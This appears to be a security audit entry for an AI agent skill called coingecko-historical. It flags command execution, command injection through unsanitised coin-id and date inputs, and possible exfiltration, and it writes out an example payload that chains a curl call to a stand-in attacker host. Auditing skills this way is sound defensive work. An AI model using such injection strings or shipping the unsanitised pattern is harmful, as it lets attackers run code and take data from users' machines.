The Agent Skills Directory

[COMMAND_EXECUTION]: The skill uses the open command (or platform equivalents) and the system date utility to process requests. This involves executing shell commands based on runtime logic.
[PROMPT_INJECTION]: The skill is vulnerable to indirect prompt injection and command injection. User-supplied inputs for <coin-id> and <date> are inserted directly into shell command strings. An attacker could provide a malicious coin-id (e.g., bitcoin; curl attacker.com/$(whoami)) to execute arbitrary code. The skill instructions lack any requirements for the agent to sanitize, escape, or validate these inputs before execution.
[DATA_EXFILTRATION]: While the skill targets a well-known service (coingecko.com), the potential for command injection via the unvalidated arguments could be leveraged to exfiltrate sensitive local environment data or files to an external attacker-controlled domain.

coingecko-historical